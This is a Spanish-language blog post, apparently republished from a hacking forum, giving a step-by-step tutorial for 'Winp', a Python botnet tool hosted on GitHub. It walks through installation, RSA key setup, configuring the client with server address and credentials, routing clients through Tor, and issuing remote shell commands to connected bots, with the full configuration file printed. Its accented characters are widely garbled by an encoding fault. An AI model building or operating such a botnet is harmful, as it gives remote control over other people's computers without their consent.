Winp: Una botnet desde tu casa

No hace mucho hice un peque帽o aporte a la comunidad ense帽ando mi mini-proyecto para la creaci贸n de una botnet: "https://underc0de.org/foro/hacking/winp-una-botnet-desde-tu-casa!/", pocos usuarios pero con palabras que debo escuchar, requer铆an de documentaci贸n o alg煤n tutorial acerca de esto, as铆 que les traigo "Tutorial de Winp".

Antes de seguir debemos saber ... ¿Que es una botnet?

Una peque帽a definici贸n seg煤n wikipedia:

"Botnet es un t茅rmino que hace referencia a un conjunto o red de robots inform谩ticos o bots, que se ejecutan de manera aut贸noma y autom谩tica.​ El art铆fice de la botnet puede controlar todos los ordenadores/servidores infectados de forma remota."

¿Que es Winp?

Winp, es un proyecto de c贸digo abierto para la interacci贸n m煤ltiple de varias terminales remotas o... b谩sicamente un script para la creaci贸n de una botnet.

Caracter铆sticas

* - Cifrado h铆brido (AES256 y RSA)
* - M煤ltiples conexiones
* - Uso de un proxy o Tor en el cliente
* - Auto-completado semi-inteligente
* - Uso sencillo y de forma simplificada
* - R谩pido
* - Probado en Android (Userland), Linux y Windows (Por lo tanto esta disponible para dos plataformas muy usadas)

Instalaci贸n
Windows:

pip install win-inet-pton
pip install pyreadline
PyCrypto en windows se tiene que instalar "manualmente". Puedes descargarlo desde http://www.voidspace.org.uk/python/modules.shtml#pycrypto

Linux:

pip install readline
pip install pycrypto

Los dos:

pip install PySocks
pip install rsa
pip install terminaltables
git clone https://github.com/DtxdF/Winp 
Uso

Generar las claves p煤blicas y privadas o el par de claves:
# Al usar por primera vez el script o cuando se borra el archivo que se genera donde estan almacenadas las claves "Comunmente db.dat" nos mostrara el siguiente mensaje que nos indica que coloquemos el tama帽o en bits de las claves. Si presionas "ENTER" usaras el predeterminado.

...

No se localizaron las claves asim茅tricas!
Seleccione el tama帽o en BITS de las claves:
Tama帽o en bits [1024]: _

...

# Si estas realizando una prueba puedes usar el tama帽o en bits por defecto o uno menor; Una vez que des el ENTER empezara la generaci贸n de las claves donde tendremos que esperar

...

No se localizaron las claves asimetricas!
Seleccione el tama帽o en BITS de las claves:
Tama帽o en bits [1024]:

# El tiempo de la generaci贸n puede variar dependiendo del tama帽o de bits y de las capacidades de su computador!

Generando ...
Escribiendo claves en el disco ...
Hecho!

Winp>

...

# Una vez generado veremos el prompt donde introduciremos comandos ... Pero ¿Cuales comandos?, sigue leyendo.

Manejo y configuraci贸n de claves

La diferencia entre claves configurables y no configurables es que las configurables ademas de que no se pueden modificar a traves del script, son tus claves generadas al principio y las configurables ademas de que se pueden modificar, estas interactuan con el descifrado y cifrado

# Para ver cuales son las claves no configurables

Winp> show keys
Clave P煤blica: PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)
Clave Privada: PrivateKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537, 48494281988900403637325694392500465780248672483421421961068527779514452344806114281616452733147655540842312037471341282489968066219385502529969114589017042373692610200256808982070908819462297258143877185529102463480666979383115687500657778698566301595898465371826246127469059270935260338960317522565512672545, 52849951656400780285777520884722631487282822866380480600342755833032605533590186295581706790005744752358429614259024948140444759779010984029348917770810060513509809, 1703030710670232751440283284246566349733904241977940821873209494830657724104064064237818845466176006739101797811703277196376035836239941455995979)

...

# La clave p煤blica se debe introducir en client.py, a continuaci贸n ya veremos como configurarlo
# Vamos a generar el par de claves para client.py y a configurar client.py
# Abrimos una consola de python

python

# Importamos el modulo rsa

>>> import rsa

# Generamos

>>> keys = rsa.newkeys(1024) # Tama帽o en bits
>>> keys[0] # Clave p煤blica
PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537) # Copiemos esta y configuremos en el servidor
>>> keys[1] # Clave privada
PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533) # Esta la usaremos en client.py

...

Winp> set key add public PublicKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537)

Configuraci贸n del cliente
# Abrimos client.py con nuestro editor de texto, recomiendo nano o vim y nos vamos a las lineas de configuraci贸n del 28 al 35 para rellenar las variables correspondientes, en mi caso usare valores de ejemplos

...
rhost = str('127.0.0.1') # Direcci贸n del servidor
rport = int(8043) # Puerto del servidor
user = str("root") # Usuario, normalmente esta en la configuraci贸n
passwd = str("password123!") # Contrase帽a, normalmente esta en la configuraci贸n
buff = int(1024) # El tama帽o de la carga en memoria, 1024 esta perfecto, aunque si comienza a tener grandes cantidades de longitudes de datos use uno m谩s grande

public_key = str('PublicKey(90005090728287665406797146311384640079299856943898211069144122372236375727721058924252993763198377309625402962242907128955425707451498617408359653620827867950855125199512556290544314373784425821943024362520594059826536478598737165833138868172157756444727112844277829688324737989594242542218547988417081058011, 65537)') # Controlador
private_key = str('PrivateKey(157132886210346782738223980361723125205063878182319147322422918451806186221294510958182729303386921787059083743254509463774921996532814508920110295805657392105921215718805734277352528360098336191622019889484874674068406789137857196807042263795591939427376528246694258103669970166788410322024292519284736289123, 65537, 138076594655960157943018154707284023642132286809612545205777094629309648874652937906385479925122441350610274710320642469281993116229431538736900206491484470429338591716895837814247349826633521762339564205041230016003718004584926980811810556215081336912779656487124562107494840715152502381211544681832258204393, 51959915709865778767343141968794070842708372285437318264774036770559642203330124299585846335087897797854854941001291448632520820435680152228885587453352726486263231, 3024117419430522850360471104223916910070286925910970063104666679569295395598640543818423468877991091317870632107965096485512606576376559453277533)') # Esclavo
...

Ver los clientes conectados e interacturar con ellos
Winp> show clients

... Aqui se mostrar铆an los clientes, pero debido a los caracteres el navegador no los visualizar铆a correctamente, en este caso yo tengo el siguiente cliente: 127.0.0.1P48210 (Como podemos ver, hay un "P" entre-medio de la direcci贸n IP y el puerto, eso es un separador)

# Ahora enviemos un simple comando:

Winp> shell remote 127.0.0.1P48210 execute whoami

# Ahora visualizamos el resultado
# Quiero aclarar que puedes mostrar tanto todos los datos recibidos sin organizaci贸n e incluso con organizaci贸n por direcci贸n IP
# Forma desorganizada

Winp> show data

... Los datos no los p煤blico por los caracteres

# Forma organizada

Winp> show data 127.0.0.1P48210

...

Configuraci贸n

Si necesitas cambiar un valor o el funcionamiento del script completo, puedes hacerlo en utils/config.py:

# -*- coding: UTF-8 -*-

import socks
import socket
from terminaltables import AsciiTable, DoubleTable, GithubFlavoredMarkdownTable, PorcelainTable, SingleTable


conf = {
        'proxy_setting':{ # Configuraci贸n del proxy
            'use':False, # True para integrar el proxy en el cliente, False lo contrario
            'proxy_type':socks.PROXY_TYPE_SOCKS4, # Tipo de proxy
            'proxy_addr':'127.0.0.1:9050', # La direcci贸n del proxy, en este caso es la direcci贸n del proxy de Tor
            'rdns':True, # dns remoto
            'username':None, # Nombre de usuario
            'password':None # Contrase帽a
            },

        'rsa_setting':{ # Configuraci贸n de rsa
            'bitsize':1024, # El tama帽o de bits. Si recordamos es lo que nos aparece al principio del script en el primer momento de ejecuci贸n
            },

        'socket_setting':{ # Configuraci贸n del socket
            'lhost':'127.0.0.1', # La direcci贸n del host local
            'lport':8043, # El puerto local o en escucha
            'family':socket.AF_INET, # La familia del socket
            'protocol':socket.SOCK_STREAM, # El protocolo
            'limit':0, # El limite de clientes, '0' para que sean infinitos
            'buffer_limit':1024 # El tama帽o del buffer para la recepci贸n de datos
            },

        'credentials':{ # Las credenciales
            'username':['root'], # Los nombres de usuarios
            'password':['password123!'] # Contrase帽as
            },

        'style':{ # El estilo de algunas cosillas
            'input_string':'Winp> ', # El prompt
            'table_style':SingleTable # El estilo de la tabla
            },

        'time_setting':{ # La configuraci贸n del tiempo
            'sleep':1 # El intervalo de espera
            },

        'keys_setting':{
            'bitsize':1024
            },

        'shelve_setting':'db.dat', # La configuraci贸n de shelve para la serializaci贸n
            'custom_chars':{ # Los caracteres imprimibles correctamente usando la utilidad modify_char.modify
                '帽':'\xa4',
                '贸':'\xa2',
                '铆':'\xa1',
                '煤':'\xa3',
                '谩':'\xa0'
            }

        }

Im谩genes:


ATENCI脫N y DISCULPAS: Actualice a una versi贸n reciente de Winp ya que se arreglaron errores de c贸digo

Nota-1: Si usas un sistema operativo/distribuci贸n que no se menciono o no se probo su funcionamiento, ay煤dame a verificar su funcionamiento haci茅ndomelo saber
Nota-2: El proyecto se ira actualizando constantemente, esta atento ante nuevas funcionalidades, correcci贸n de errores, etc
Nota-3: Esta informaci贸n en cualquier momento puede quedar obsoleta, tratare de actualizar lo m谩s r谩pido posible

Contribuci贸n gracias a DtxdF (https://github.com/DtxdF/Winp).

P.D. Si tambi茅n quieres publicar tu art铆culo, no lo dudes y m谩ndanos tu contribuci贸n a hackplayers_at_ymail.com o ponte en contacto con nosotros a trav茅s de cualquier canal disponible en las redes sociales (TwitterFacebook o Telegram).

Comentarios

Publicar un comentario